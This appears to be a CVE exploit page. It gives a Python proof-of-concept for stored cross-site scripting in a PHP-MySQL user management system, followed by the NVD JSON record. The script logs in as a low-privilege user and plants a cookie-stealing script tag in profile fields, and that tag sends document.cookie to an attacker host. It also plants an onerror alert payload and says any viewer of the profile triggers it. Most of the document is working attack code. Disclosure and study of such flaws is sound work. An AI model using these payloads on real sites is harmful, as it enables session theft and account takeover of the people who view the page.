CVE-2025-63442

import requests import sys # CVE-2025-63442 PoC - Stored XSS in Profile Section # Target: Simple User Management System with PHP-MySQL v1.0 TARGET_URL = "http://target-website.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/login.php" PROFILE_URL = f"{TARGET_URL}/profile.php" UPDATE_URL = f"{TARGET_URL}/update_profile.php" # XSS Payload - Cookie Stealer XSS_PAYLOAD = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" def exploit(): """ Exploitation steps: 1. Login with low-privilege user account 2. Navigate to profile editing section 3. Inject XSS payload in profile fields 4. Save the profile - payload is stored in database 5. When any user views the profile, XSS executes """ session = requests.Session() # Step 1: Login login_data = { 'username': 'attacker_user', 'password': 'password123' } response = session.post(LOGIN_URL, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2 & 3: Inject XSS payload in profile fields profile_data = { 'fullname': XSS_PAYLOAD, 'bio': '<img src=x onerror=alert(document.cookie)>', 'email': '[email protected]', 'action': 'update' } response = session.post(UPDATE_URL, data=profile_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored in profile field") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Any user viewing this profile will trigger the XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-63442", "sourceIdentifier": "[email protected]", "published": "2025-11-03T15:15:36.303", "lastModified": "2025-11-05T18:18:24.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Simple User Management System with PHP-MySQL v1.0 is vulnerable to Cross-Site Scripting (XSS) via the Profile Section. The system fails to properly sanitize user input, allowing attackers to inject and execute arbitrary JavaScript when the input is displayed in the browser"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nababur:simple-user-management-system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "265EAEFA-3833-4867-974B-F0CC300CF57B"}]}]}], "references": [{"url": "https://github.com/sanin-s1r3n/CVE-Research/blob/main/CVE-5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}